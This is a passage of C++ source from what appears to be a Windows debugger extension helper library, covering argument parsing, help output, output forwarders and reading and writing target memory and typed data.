Struct->TypeName, Chars * sizeof(*Buffer));\n Buffer += Chars;\n (*BufferChars) -= Chars;\n }\n \n Struct++;\n }\n\n *Buffer = 0;\n *BufferChars = CharsNeeded;\n }\n else if (Flags == DEBUG_KNOWN_STRUCT_GET_SINGLE_LINE_OUTPUT &&\n Buffer != NULL &&\n BufferChars > 0)\n {\n //\n // Dispatch request to method.\n //\n\n Status = E_NOINTERFACE;\n while (Struct && Struct->TypeName)\n {\n if (!strcmp(TypeName, Struct->TypeName))\n {\n Status = CallKnownStruct(Client, Struct, Flags, Offset,\n Buffer, BufferChars);\n break;\n }\n\n Struct++;\n }\n }\n else if (Flags == DEBUG_KNOWN_STRUCT_SUPPRESS_TYPE_NAME)\n {\n //\n // Determine if formatting method suppresses the type name.\n //\n\n Status = E_NOINTERFACE;\n while (Struct && Struct->TypeName)\n {\n if (!strcmp(TypeName, Struct->TypeName))\n {\n Status = Struct->SuppressesTypeName ? S_OK : S_FALSE;\n break;\n }\n\n Struct++;\n }\n }\n else\n {\n Status = E_INVALIDARG;\n }\n\n return Status;\n}\n\nHRESULT\nExtExtension::HandleQueryValueNames(__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __out_ecount(BufferChars) PWSTR Buffer,\n __in ULONG BufferChars,\n __out PULONG BufferNeeded)\n{\n HRESULT Status;\n\n UNREFERENCED_PARAMETER(Client);\n UNREFERENCED_PARAMETER(Flags);\n\n if (Buffer == NULL ||\n BufferChars < 1)\n {\n return E_INVALIDARG;\n }\n \n ExtProvidedValue* ExtVal = m_ProvidedValues;\n ULONG CharsNeeded;\n \n //\n // Return names of values packed in\n // the output buffer.\n //\n\n // Save a character for the double terminator.\n BufferChars--;\n CharsNeeded = 1;\n\n Status = S_OK;\n while (ExtVal && ExtVal->ValueName)\n {\n ULONG Chars = wcslen(ExtVal->ValueName) + 1;\n CharsNeeded += Chars;\n \n if (Status != S_OK || BufferChars < Chars)\n {\n Status = S_FALSE;\n }\n else\n {\n memcpy(Buffer, ExtVal->ValueName, Chars * sizeof(*Buffer));\n Buffer += Chars;\n BufferChars -= Chars;\n }\n \n ExtVal++;\n }\n\n *Buffer = 0;\n *BufferNeeded = CharsNeeded;\n\n return Status;\n}\n\nHRESULT\nExtExtension::CallProvideValueMethod(__in ExtProvidedValue* ExtVal,\n __in ULONG Flags,\n __out PULONG64 Value,\n __out PULONG64 TypeModBase,\n __out PULONG TypeId,\n __out PULONG TypeFlags)\n{\n HRESULT Status;\n \n try\n {\n ExInitialize();\n \n m_CallStatus = S_OK;\n\n (this->*ExtVal->Method)(Flags, ExtVal->ValueName,\n Value, TypeModBase, TypeId, TypeFlags);\n\n Status = m_CallStatus;\n }\n catch(ExtException Ex)\n {\n Status = Ex.GetStatus();\n }\n\n return Status;\n}\n\nHRESULT\nExtExtension::HandleProvideValue(__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __in PCWSTR Name,\n __out PULONG64 Value,\n __out PULONG64 TypeModBase,\n __out PULONG TypeId,\n __out PULONG TypeFlags)\n{\n HRESULT Status = Query(Client);\n if (Status != S_OK)\n {\n return Status;\n }\n\n // Use a hard SEH try/finally to guarantee that\n // Release always occurs.\n __try\n {\n ExtProvidedValue* ExtVal = m_ProvidedValues;\n while (ExtVal && ExtVal->ValueName)\n {\n if (wcscmp(Name, ExtVal->ValueName) == 0)\n {\n break;\n }\n\n ExtVal++;\n }\n if (!ExtVal)\n {\n Status = E_UNEXPECTED;\n }\n else\n {\n Status = CallProvideValueMethod(ExtVal, Flags,\n Value, TypeModBase,\n TypeId, TypeFlags);\n }\n }\n __finally\n {\n Release();\n }\n\n return Status;\n}\n\nExtExtension::ArgVal*\nExtExtension::FindArg(__in PCSTR Name,\n __in bool Required)\n{\n ULONG i;\n\n for (i = m_FirstNamedArg; i < m_FirstNamedArg + m_NumNamedArgs; i++)\n {\n if (!strcmp(Name, m_Args[i].Name))\n {\n return &m_Args[i];\n }\n }\n\n if (Required)\n {\n ThrowInvalidArg(\"No argument /%s was provided\", Name);\n }\n \n return NULL;\n}\n\nPCSTR\nExtExtension::SetRawArgVal(__in ExtCommandDesc::ArgDesc* Check,\n __in_opt ArgVal* Val,\n __in bool ExplicitVal,\n __in_opt PCSTR StrVal,\n __in bool StrWritable,\n __in ULONG64 NumVal)\n{\n if (!Val)\n {\n if (Check->Name)\n {\n if (m_NumNamedArgs + m_FirstNamedArg >= EXT_DIMA(m_Args))\n {\n ThrowInvalidArg(\"Argument overflow on '%s'\",\n Check->Name);\n }\n\n Val = &m_Args[m_NumNamedArgs + m_FirstNamedArg];\n m_NumArgs++;\n m_NumNamedArgs++;\n }\n else\n {\n Val = &m_Args[m_NumUnnamedArgs];\n m_NumArgs++;\n m_NumUnnamedArgs++;\n }\n }\n\n Check->Present = true;\n Val->Name = Check->Name;\n Val->StrVal = NULL;\n Val->NumVal = 0;\n\n if (Check->Boolean)\n {\n return StrVal;\n }\n\n if (StrVal)\n {\n while (IsSpace(*StrVal))\n {\n StrVal++;\n }\n if (!*StrVal &&\n !ExplicitVal)\n {\n ThrowInvalidArg(\"Missing value for argument '%s'\",\n Check->Name);\n }\n\n if (Check->String)\n {\n Val->StrVal = StrVal;\n if (Check->StringRemainder)\n {\n StrVal += strlen(StrVal);\n }\n else\n {\n while (*StrVal && !IsSpace(*StrVal))\n {\n StrVal++;\n }\n }\n }\n else if (Check->Expression)\n {\n PSTR StrEnd = NULL;\n char StrEndChar = 0;\n \n if (Check->ExpressionDelimited)\n {\n StrEnd = (PSTR)StrVal;\n while (*StrEnd && !IsSpace(*StrEnd))\n {\n StrEnd++;\n }\n if (IsSpace(*StrEnd))\n {\n //\n // We found some trailing text so we need\n // to force a terminator to delimit the\n // expression. We can only do this if\n // we make a copy of the string or have\n // a writable string. As any case where a\n // non-writable string is passed in involves\n // a caller setting an argument explicitly they\n // can provide a properly-terminated expression,\n // so don't support copying.\n //\n \n if (!StrWritable)\n {\n ThrowInvalidArg(\"Delimited expressions can \"\n \"only be parsed from extension \"\n \"command arguments\");\n }\n\n StrEndChar = *StrEnd;\n *StrEnd = 0;\n }\n else\n {\n // No trailing text so no need to force\n // termination.\n StrEnd = NULL;\n }\n }\n \n StrVal = GetExpr64(StrVal,\n Check->ExpressionSigned != 0,\n (0xffffffffffffffffUI64 >>\n (64 - Check->ExpressionBits)),\n &Val->NumVal);\n\n if (StrEnd)\n {\n *StrEnd = StrEndChar;\n }\n }\n }\n else if (Check->String)\n {\n ThrowInvalidArg(\"Missing value for argument '%s'\",\n Check->Name);\n }\n else\n {\n Val->NumVal = NumVal;\n }\n\n return StrVal;\n}\n\nvoid\nExtExtension::ParseArgs(__in ExtCommandDesc* Desc,\n __in_opt PCSTR Args)\n{\n if (!Args)\n {\n Args = \"\";\n }\n\n m_RawArgStr = Args;\n m_NumArgs = 0;\n m_NumNamedArgs = 0;\n m_NumUnnamedArgs = 0;\n m_FirstNamedArg = Desc->m_NumUnnamedArgs;\n\n //\n // First make a copy of the argument string as\n // we will need to chop it up when parsing.\n // Release() automatically cleans this up.\n //\n\n m_ArgCopy = _strdup(Args);\n if (!m_ArgCopy)\n {\n ThrowOutOfMemory();\n }\n\n if (Desc->m_CustomArgParsing)\n {\n return;\n }\n \n PSTR Scan = m_ArgCopy;\n bool ImplicitNamedArg = false;\n ULONG i;\n ExtCommandDesc::ArgDesc* Check;\n \n Check = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Check++)\n {\n Check->Present = false;\n }\n\n for (;;)\n {\n while (IsSpace(*Scan))\n {\n ImplicitNamedArg = false;\n Scan++;\n }\n if (!*Scan)\n {\n break;\n }\n\n if (ImplicitNamedArg ||\n strchr(Desc->m_OptionChars, *Scan) != NULL)\n {\n //\n // Named argument. Collect name and\n // see if this is a valid argument.\n //\n\n if (!ImplicitNamedArg)\n {\n Scan++;\n\n // If /? is given at any point immediately\n // go help for the command and exit.\n if (*Scan == '?' &&\n (!*(Scan + 1) || IsSpace(*(Scan + 1))))\n {\n HelpCommand(Desc);\n throw ExtStatusException(S_OK);\n }\n }\n \n PSTR Start = Scan++;\n while (*Scan && !IsSpace(*Scan))\n {\n Scan++;\n }\n char Save = *Scan;\n *Scan = 0;\n\n //\n // First check for a full name match.\n //\n\n if (!ImplicitNamedArg)\n {\n Check = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Check++)\n {\n if (!Check->Name)\n {\n continue;\n }\n \n if (!strcmp(Start, Check->Name))\n {\n break;\n }\n }\n }\n else\n {\n i = Desc->m_NumArgs;\n }\n if (i >= Desc->m_NumArgs)\n {\n //\n // Didn't find it with a full name match,\n // so check for a single-character match.\n // This is only allowed for single-character\n // boolean options.\n //\n\n ImplicitNamedArg = false;\n\n Check = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Check++)\n {\n if (!Check->Name ||\n !Check->Boolean)\n {\n continue;\n }\n \n if (*Start == Check->Name[0] &&\n !Check->Name[1])\n {\n // Multiple single-character options\n // can be combined with a single slash,\n // so the next character should be\n // checked as a named option.\n ImplicitNamedArg = true;\n break;\n }\n }\n }\n if (i >= Desc->m_NumArgs)\n {\n ThrowInvalidArg(\"Unrecognized argument '%s'\",\n Start);\n }\n\n //\n // Found the argument. Validate it.\n //\n\n if (Check->Present)\n {\n ThrowInvalidArg(\"Duplicate argument '%s'\",\n Start);\n }\n \n //\n // Argument is valid, fix up the scan string\n // and move to value processing.\n //\n \n *Scan = Save;\n if (ImplicitNamedArg)\n {\n Scan = Start + 1;\n }\n }\n else\n {\n //\n // Unnamed argument.\n // Find the n'th unnamed argument description\n // and use it.\n //\n\n Check = Desc->FindUnnamedArg(m_NumUnnamedArgs);\n if (! Check)\n {\n ThrowInvalidArg(\"Extra unnamed argument at '%s'\",\n Scan);\n }\n }\n\n //\n // We have an argument description, so\n // look for any appropriate value.\n //\n\n Scan = (PSTR)SetRawArgVal(Check, NULL, false, Scan, true, 0);\n if (Check->String && *Scan)\n {\n *Scan++ = 0;\n }\n }\n\n //\n // Fill in default values where needed.\n //\n \n Check = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Check++)\n {\n if (!Check->Present &&\n Check->Default)\n {\n SetRawArgVal(Check, NULL, true, Check->Default, false, 0);\n }\n }\n\n //\n // Verify that all required arguments are present.\n //\n\n ULONG NumUnPresent = 0;\n Check = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Check++)\n {\n if (!Check->Name)\n {\n NumUnPresent++;\n }\n \n if (Check->Required &&\n !Check->Present)\n {\n if (Check->Name)\n {\n ThrowInvalidArg(\"Missing required argument '%s'\",\n Check->Name);\n }\n else if (Check->DescShort)\n {\n ThrowInvalidArg(\"Missing required argument '<%s>'\",\n Check->DescShort);\n }\n else\n {\n ThrowInvalidArg(\"Missing unnamed argument %u\",\n NumUnPresent);\n }\n }\n }\n}\n\nvoid\nExtExtension::OutCommandArg(__in ExtCommandDesc::ArgDesc* Arg,\n __in bool Separate)\n{\n if (Arg->Name)\n {\n if (Separate)\n {\n OutWrapStr(\"/\");\n }\n \n OutWrapStr(Arg->Name);\n\n if (!Arg->Boolean)\n {\n OutWrapStr(\" \");\n }\n }\n\n if (!Arg->Boolean)\n {\n OutWrap(\"<%s>\", Arg->DescShort);\n }\n}\n\nvoid\nExtExtension::HelpCommandArgsSummary(__in ExtCommandDesc* Desc)\n{\n ULONG i;\n ExtCommandDesc::ArgDesc* Arg;\n bool Hit;\n\n if (Desc->m_CustomArgDescShort)\n {\n OutWrapStr(Desc->m_CustomArgDescShort);\n return;\n }\n \n //\n // In order to try and make things pretty we make\n // several passes over the arguments.\n //\n\n //\n // Display all optional single-char booleans as a collection.\n //\n\n Hit = false;\n Arg = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Arg++)\n {\n if (Arg->Boolean && !Arg->Required && !Arg->Name[1])\n {\n if (!Hit)\n {\n OutWrapStr(\" [/\");\n Hit = true;\n AllowWrap(false);\n }\n\n OutWrapStr(Arg->Name);\n }\n }\n if (Hit)\n {\n OutWrapStr(\"]\");\n AllowWrap(true);\n }\n \n //\n // Display all optional multi-char booleans.\n //\n\n Arg = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Arg++)\n {\n if (Arg->Boolean && !Arg->Required && Arg->Name[1])\n {\n OutWrap(\" [/%s]\", Arg->Name);\n }\n }\n \n //\n // Display all required single-char booleans as a collection.\n //\n\n Hit = false;\n Arg = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Arg++)\n {\n if (Arg->Boolean && Arg->Required && !Arg->Name[1])\n {\n if (!Hit)\n {\n OutWrapStr(\" /\");\n Hit = true;\n AllowWrap(false);\n }\n\n OutWrapStr(Arg->Name);\n }\n }\n AllowWrap(true);\n\n //\n // Display all required multi-char booleans.\n //\n\n Arg = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Arg++)\n {\n if (Arg->Boolean && Arg->Required && Arg->Name[1])\n {\n OutWrap(\" /%s\", Arg->Name);\n }\n }\n\n //\n // Display all optional named non-booleans.\n //\n\n Arg = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Arg++)\n {\n if (!Arg->Boolean && !Arg->Required && Arg->Name)\n {\n TestWrap(true);\n OutCommandArg(Arg, true);\n TestWrap(false);\n if (!DemandWrap(m_TestWrapChars + 3))\n {\n OutWrapStr(\" \");\n }\n OutWrapStr(\"[\");\n AllowWrap(false);\n OutCommandArg(Arg, true);\n OutWrapStr(\"]\");\n AllowWrap(true);\n }\n }\n\n //\n // Display all required named non-booleans.\n //\n\n Arg = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Arg++)\n {\n if (!Arg->Boolean && Arg->Required && Arg->Name)\n {\n TestWrap(true);\n OutCommandArg(Arg, true);\n TestWrap(false);\n if (!DemandWrap(m_TestWrapChars + 1))\n {\n OutWrapStr(\" \");\n }\n AllowWrap(false);\n OutCommandArg(Arg, true);\n AllowWrap(true);\n }\n }\n\n //\n // Display all unnamed arguments. As any optional\n // unnamed argument must be last we can handle both\n // optional and required in a single pass.\n //\n\n Arg = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++, Arg++)\n {\n if (!Arg->Boolean && !Arg->Name)\n {\n TestWrap(true);\n OutCommandArg(Arg, true);\n TestWrap(false);\n if (!Arg->Required)\n {\n m_TestWrapChars += 2;\n }\n if (!DemandWrap(m_TestWrapChars + 1))\n {\n OutWrapStr(\" \");\n }\n if (!Arg->Required)\n {\n OutWrapStr(\"[\");\n }\n AllowWrap(false);\n OutCommandArg(Arg, true);\n if (!Arg->Required)\n {\n OutWrapStr(\"]\");\n }\n AllowWrap(true);\n }\n }\n}\n\nvoid\nExtExtension::HelpCommand(__in ExtCommandDesc* Desc)\n{\n ULONG i;\n\n Desc->ExInitialize(this);\n \n m_CurChar = 0;\n OutWrap(\"!%s\", Desc->m_Name);\n m_LeftIndent = m_CurChar + 1;\n HelpCommandArgsSummary(Desc);\n m_LeftIndent = 0;\n OutWrapStr(\"\\n\");\n\n if (Desc->m_CustomArgDescLong)\n {\n OutWrapStr(\" \");\n m_LeftIndent = m_CurChar;\n OutWrapStr(Desc->m_CustomArgDescLong);\n m_LeftIndent = 0;\n OutWrapStr(\"\\n\");\n }\n else\n {\n ExtCommandDesc::ArgDesc* Arg = Desc->m_Args;\n for (i = 0; i < Desc->m_NumArgs; i++)\n {\n OutWrapStr(\" \");\n OutCommandArg(Arg, true);\n \n if (Arg->DescLong)\n {\n OutWrapStr(\" - \");\n m_LeftIndent = m_CurChar;\n \n OutWrapStr(Arg->DescLong);\n \n if (Arg->Default &&\n !Arg->DefaultSilent)\n {\n OutWrapStr(\" (defaults to \");\n OutWrapStr(Arg->Default);\n OutWrapStr(\")\");\n }\n }\n else if (Arg->Default &&\n !Arg->DefaultSilent)\n {\n OutWrapStr(\" - \");\n m_LeftIndent = m_CurChar;\n OutWrapStr(\"defaults to \");\n OutWrapStr(Arg->Default);\n }\n \n m_LeftIndent = 0;\n OutWrapStr(\"\\n\");\n Arg++;\n }\n }\n \n OutWrapStr(Desc->m_Desc);\n Out(\"\\n\");\n}\n\nvoid\nExtExtension::HelpCommandName(__in PCSTR Name)\n{\n ExtCommandDesc* Desc = m_Commands;\n while (Desc)\n {\n if (!strcmp(Name, Desc->m_Name))\n {\n break;\n }\n\n Desc = Desc->m_Next;\n }\n if (!Desc)\n {\n ThrowInvalidArg(\"No command named '%s'\", Name);\n }\n\n HelpCommand(Desc);\n}\n\nvoid\nExtExtension::HelpAll(void)\n{\n char ModName[2 * MAX_PATH];\n\n if (!GetModuleFileName(s_Module, ModName, EXT_DIMA(ModName)))\n {\n StringCbCopyA(ModName, sizeof(ModName),\n \"\");\n }\n\n Out(\"Commands for %s:\\n\", ModName);\n m_CurChar = 0;\n \n ExtCommandDesc* Desc = m_Commands;\n while (Desc)\n {\n ULONG NameLen = strlen(Desc->m_Name);\n OutWrap(\" !%s%*c- \",\n Desc->m_Name,\n m_LongestCommandName - NameLen + 1, ' ');\n m_LeftIndent = m_CurChar;\n OutWrapStr(Desc->m_Desc);\n m_LeftIndent = 0;\n\n OutWrapStr(\"\\n\");\n\n Desc = Desc->m_Next;\n }\n\n Out(\"!help will give more information for a particular command\\n\");\n}\n\nEXT_CLASS_COMMAND(ExtExtension,\n help,\n \"Displays information on available extension commands\",\n \"{;s,o;command;Command to get information on}\")\n{\n if (HasUnnamedArg(0))\n {\n HelpCommandName(GetUnnamedArgStr(0));\n }\n else\n {\n HelpAll();\n SetCallStatus(DEBUG_EXTENSION_CONTINUE_SEARCH);\n }\n}\n\n//----------------------------------------------------------------------------\n//\n// Global forwarders for common methods.\n//\n//----------------------------------------------------------------------------\n\nvoid WINAPIV\nExtOut(__in PCSTR Format, ...)\n{\n g_Ext.Throw();\n\n va_list Args;\n\n va_start(Args, Format);\n g_Ext->m_Control->\n OutputVaList(DEBUG_OUTPUT_NORMAL, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtWarn(__in PCSTR Format, ...)\n{\n g_Ext.Throw();\n\n va_list Args;\n\n va_start(Args, Format);\n g_Ext->m_Control->\n OutputVaList(DEBUG_OUTPUT_WARNING, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtErr(__in PCSTR Format, ...)\n{\n g_Ext.Throw();\n\n va_list Args;\n\n va_start(Args, Format);\n g_Ext->m_Control->\n OutputVaList(DEBUG_OUTPUT_ERROR, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtVerb(__in PCSTR Format, ...)\n{\n g_Ext.Throw();\n\n va_list Args;\n\n va_start(Args, Format);\n g_Ext->m_Control->\n OutputVaList(DEBUG_OUTPUT_VERBOSE, Format, Args);\n va_end(Args);\n}\n\n//----------------------------------------------------------------------------\n//\n// ExtRemoteData.\n//\n//----------------------------------------------------------------------------\n\nvoid\nExtRemoteData::Set(__in const DEBUG_TYPED_DATA* Typed)\n{\n m_Offset = Typed->Offset;\n m_ValidOffset = (Typed->Flags & DEBUG_TYPED_DATA_IS_IN_MEMORY) != 0;\n m_Bytes = Typed->Size;\n m_Data = Typed->Data;\n m_ValidData = Typed->Size > 0 && Typed->Size <= sizeof(m_Data);\n}\n\nvoid\nExtRemoteData::Read(void)\n{\n g_Ext->ThrowInterrupt();\n \n // Zero data so that unread bytes have a known state.\n ULONG64 NewData = 0;\n\n#pragma prefast(suppress:__WARNING_REDUNDANTTEST, \"valid redundancy\")\n if (m_Bytes > sizeof(m_Data) ||\n m_Bytes > sizeof(NewData))\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteData::Read too large\");\n }\n\n ReadBuffer(&NewData, m_Bytes);\n m_Data = NewData;\n m_ValidData = true;\n}\n\nvoid\nExtRemoteData::Write(void)\n{\n g_Ext->ThrowInterrupt();\n \n if (m_Bytes > sizeof(m_Data))\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteData::Write too large\");\n }\n if (!m_ValidData)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteData does not have valid data\");\n }\n\n WriteBuffer(&m_Data, m_Bytes);\n}\n\nULONG64\nExtRemoteData::GetData(__in ULONG Request)\n{\n g_Ext->ThrowInterrupt();\n \n if (m_Bytes != Request)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"Invalid ExtRemoteData size\");\n }\n if (!m_ValidData)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteData does not have valid data\");\n }\n\n return m_Data;\n}\n\nULONG\nExtRemoteData::ReadBuffer(__out_bcount(Bytes) PVOID Buffer,\n __in ULONG Bytes,\n __in bool MustReadAll)\n{\n HRESULT Status;\n ULONG Done;\n\n g_Ext->ThrowInterrupt();\n \n if (!Bytes)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"Zero-sized ExtRemoteData\");\n }\n if (!m_ValidOffset)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteData does not have a valid address\");\n }\n\n if (m_Physical)\n {\n Status = g_Ext->m_Data4->\n ReadPhysical2(m_Offset, m_SpaceFlags, Buffer, Bytes, &Done);\n }\n else\n {\n Status = g_Ext->m_Data->\n ReadVirtual(m_Offset, Buffer, Bytes, &Done);\n }\n if (Status == S_OK && Done != Bytes && MustReadAll)\n {\n Status = HRESULT_FROM_WIN32(ERROR_READ_FAULT);\n }\n if (Status != S_OK)\n {\n if (m_Name)\n {\n g_Ext->ThrowRemote(Status, \"Unable to read %s at %p\",\n m_Name, m_Offset);\n }\n else\n {\n g_Ext->ThrowRemote(Status, \"Unable to read 0x%x bytes at %p\",\n Bytes, m_Offset);\n }\n }\n\n return Done;\n}\n\nULONG\nExtRemoteData::WriteBuffer(__in_bcount(Bytes) PVOID Buffer,\n __in ULONG Bytes,\n __in bool MustReadAll)\n{\n HRESULT Status;\n ULONG Done;\n\n UNREFERENCED_PARAMETER(Buffer);\n\n g_Ext->ThrowInterrupt();\n\n if (!Bytes)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"Zero-sized ExtRemoteData\");\n }\n if (!m_ValidOffset)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteData does not have a valid address\");\n }\n\n if (m_Physical)\n {\n Status = g_Ext->m_Data4->\n WritePhysical2(m_Offset, m_SpaceFlags, &m_Data, Bytes, &Done);\n }\n else\n {\n Status = g_Ext->m_Data->\n WriteVirtual(m_Offset, &m_Data, Bytes, &Done);\n }\n if (Status == S_OK && Done != Bytes && MustReadAll)\n {\n Status = HRESULT_FROM_WIN32(ERROR_WRITE_FAULT);\n }\n if (Status != S_OK)\n {\n if (m_Name)\n {\n g_Ext->ThrowRemote(Status, \"Unable to write %s at %p\",\n m_Name, m_Offset);\n }\n else\n {\n g_Ext->ThrowRemote(Status, \"Unable to write 0x%x bytes at %p\",\n Bytes, m_Offset);\n }\n }\n\n return Done;\n}\n\nPSTR\nExtRemoteData::GetString(__out_ecount(BufferChars) PSTR Buffer,\n __in ULONG BufferChars,\n __in ULONG MaxChars,\n __in bool MustFit)\n{\n HRESULT Status;\n \n g_Ext->ThrowInterrupt();\n \n if (!m_ValidOffset)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteData does not have a valid address\");\n }\n if (m_Physical)\n {\n g_Ext->ThrowRemote(E_NOTIMPL,\n \"ExtRemoteData cannot read strings \"\n \"from physical memory\");\n }\n\n ULONG Need;\n \n if (FAILED(Status = g_Ext->m_Data4->\n ReadMultiByteStringVirtual(m_Offset, MaxChars * sizeof(*Buffer),\n Buffer, BufferChars, &Need)))\n {\n g_Ext->ThrowRemote(Status, \"Unable to read string at %p\",\n m_Offset);\n }\n if (Status != S_OK && MustFit)\n {\n g_Ext->ThrowRemote(HRESULT_FROM_WIN32(ERROR_BUFFER_OVERFLOW),\n \"String at %p overflows buffer, need 0x%x chars\",\n m_Offset, Need);\n }\n\n return Buffer;\n}\n\nPWSTR\nExtRemoteData::GetString(__out_ecount(BufferChars) PWSTR Buffer,\n __in ULONG BufferChars,\n __in ULONG MaxChars,\n __in bool MustFit)\n{\n HRESULT Status;\n \n g_Ext->ThrowInterrupt();\n \n if (!m_ValidOffset)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteData does not have a valid address\");\n }\n if (m_Physical)\n {\n g_Ext->ThrowRemote(E_NOTIMPL,\n \"ExtRemoteData cannot read strings \"\n \"from physical memory\");\n }\n\n ULONG Need;\n \n if (FAILED(Status = g_Ext->m_Data4->\n ReadUnicodeStringVirtualWide(m_Offset,\n MaxChars * sizeof(*Buffer),\n Buffer, BufferChars, &Need)))\n {\n g_Ext->ThrowRemote(Status, \"Unable to read string at %p\",\n m_Offset);\n }\n if (Status != S_OK && MustFit)\n {\n g_Ext->ThrowRemote(HRESULT_FROM_WIN32(ERROR_BUFFER_OVERFLOW),\n \"String at %p overflows buffer, need 0x%x chars\",\n m_Offset, Need);\n }\n\n return Buffer;\n}\n\n//----------------------------------------------------------------------------\n//\n// ExtRemoteTyped.\n//\n//----------------------------------------------------------------------------\n\nvoid\nExtRemoteTyped::Copy(__in const DEBUG_TYPED_DATA* Source)\n{\n m_Typed = *Source;\n ErtIoctl(\"Copy\", EXT_TDOP_COPY, ErtUncheckedIn | ErtOut);\n}\n\nvoid\nExtRemoteTyped::Set(__in PCSTR Expr)\n{\n EXT_TDOP Op;\n ULONG Flags = ErtOut;\n \n // If we have a valid value let it be used\n // in the expression if desired.\n if (m_Release)\n {\n Op = EXT_TDOP_EVALUATE;\n Flags |= ErtIn;\n }\n else\n {\n Op = EXT_TDOP_SET_FROM_EXPR;\n }\n\n PSTR Msg = g_Ext->\n PrintCircleString(\"Set: unable to evaluate '%s'\", Expr);\n ErtIoctl(Msg, Op, Flags, Expr);\n}\n\nvoid\nExtRemoteTyped::Set(__in PCSTR Expr,\n __in ULONG64 Offset)\n{\n m_Typed.Offset = Offset;\n PSTR Msg = g_Ext->\n PrintCircleString(\"Set: unable to evaluate '%s' for 0x%I64x\",\n Expr, Offset);\n ErtIoctl(Msg, EXT_TDOP_SET_FROM_U64_EXPR, ErtUncheckedIn | ErtOut, Expr);\n}\n\nvoid\nExtRemoteTyped::Set(__in bool PtrTo,\n __in ULONG64 TypeModBase,\n __in ULONG TypeId,\n __in ULONG64 Offset)\n{\n HRESULT Status;\n EXT_TYPED_DATA ExtData;\n\n g_Ext->ThrowInterrupt();\n\n ZeroMemory(&ExtData, sizeof(ExtData));\n ExtData.Operation = PtrTo ?\n EXT_TDOP_SET_PTR_FROM_TYPE_ID_AND_U64 :\n EXT_TDOP_SET_FROM_TYPE_ID_AND_U64;\n if (m_Physical)\n {\n ExtData.Flags |= (m_SpaceFlags + 1) << 1;\n }\n ExtData.InData.ModBase = TypeModBase;\n ExtData.InData.TypeId = TypeId;\n ExtData.InData.Offset = Offset;\n \n Status = g_Ext->m_Advanced2->\n Request(DEBUG_REQUEST_EXT_TYPED_DATA_ANSI,\n &ExtData, sizeof(ExtData),\n &ExtData, sizeof(ExtData),\n NULL);\n if (SUCCEEDED(Status))\n {\n Status = ExtData.Status;\n }\n\n if (FAILED(Status))\n {\n g_Ext->ThrowRemote(Status,\n \"ExtRemoteTyped::Set from type and offset\");\n }\n\n Release();\n m_Typed = ExtData.OutData;\n ExtRemoteData::Set(&m_Typed);\n m_Release = true;\n}\n\nvoid\nExtRemoteTyped::Set(__in PCSTR Type,\n __in ULONG64 Offset,\n __in bool PtrTo,\n __inout_opt PULONG64 CacheCookie,\n __in_opt PCSTR LinkField)\n{\n HRESULT Status;\n ULONG64 TypeModBase;\n ULONG TypeId;\n \n if (!CacheCookie)\n {\n if ((Status = g_Ext->m_Symbols->\n GetSymbolTypeId(Type, \n &TypeId,\n &TypeModBase)) != S_OK)\n {\n g_Ext->ThrowStatus(Status, \"Unable to get type ID of '%s'\",\n Type);\n }\n }\n else\n {\n if (LinkField)\n {\n // We don't really need the field offset\n // here but it allows us to use cache\n // entries that were created for list\n // usage and so do have it.\n g_Ext->GetCachedFieldOffset(CacheCookie,\n Type,\n LinkField,\n &TypeModBase,\n &TypeId);\n }\n else\n {\n TypeId = g_Ext->GetCachedSymbolTypeId(CacheCookie,\n Type,\n &TypeModBase);\n }\n }\n \n Set(PtrTo, TypeModBase, TypeId, Offset);\n}\n\nvoid WINAPIV\nExtRemoteTyped::SetPrint(__in PCSTR Format,\n ...)\n{\n HRESULT Status;\n va_list Args;\n \n va_start(Args, Format);\n Status = StringCbVPrintfA(g_Ext->s_String, sizeof(g_Ext->s_String),\n Format, Args);\n va_end(Args);\n if (Status != S_OK)\n {\n g_Ext->ThrowRemote(Status,\n \"ExtRemoteTyped::SetPrint: overflow on '%s'\",\n Format);\n }\n Set(g_Ext->CopyCircleString(g_Ext->s_String));\n}\n\nULONG\nExtRemoteTyped::GetFieldOffset(__in PCSTR Field) throw(...)\n{\n ULONG Offset;\n PSTR Msg = g_Ext->\n PrintCircleString(\"GetFieldOffset: no field '%s'\",\n Field);\n ErtIoctl(Msg, EXT_TDOP_GET_FIELD_OFFSET, ErtIn, Field, 0, NULL,\n NULL, 0, &Offset);\n return Offset;\n}\n\nExtRemoteTyped\nExtRemoteTyped::Field(__in PCSTR Field)\n{\n ExtRemoteTyped Ret;\n \n PSTR Msg = g_Ext->\n PrintCircleString(\"Field: unable to retrieve field '%s' at %I64x\",\n Field, m_Offset);\n ErtIoctl(Msg, EXT_TDOP_GET_FIELD, ErtIn | ErtOut, Field, 0, &Ret);\n return Ret;\n}\n\nExtRemoteTyped\nExtRemoteTyped::ArrayElement(__in 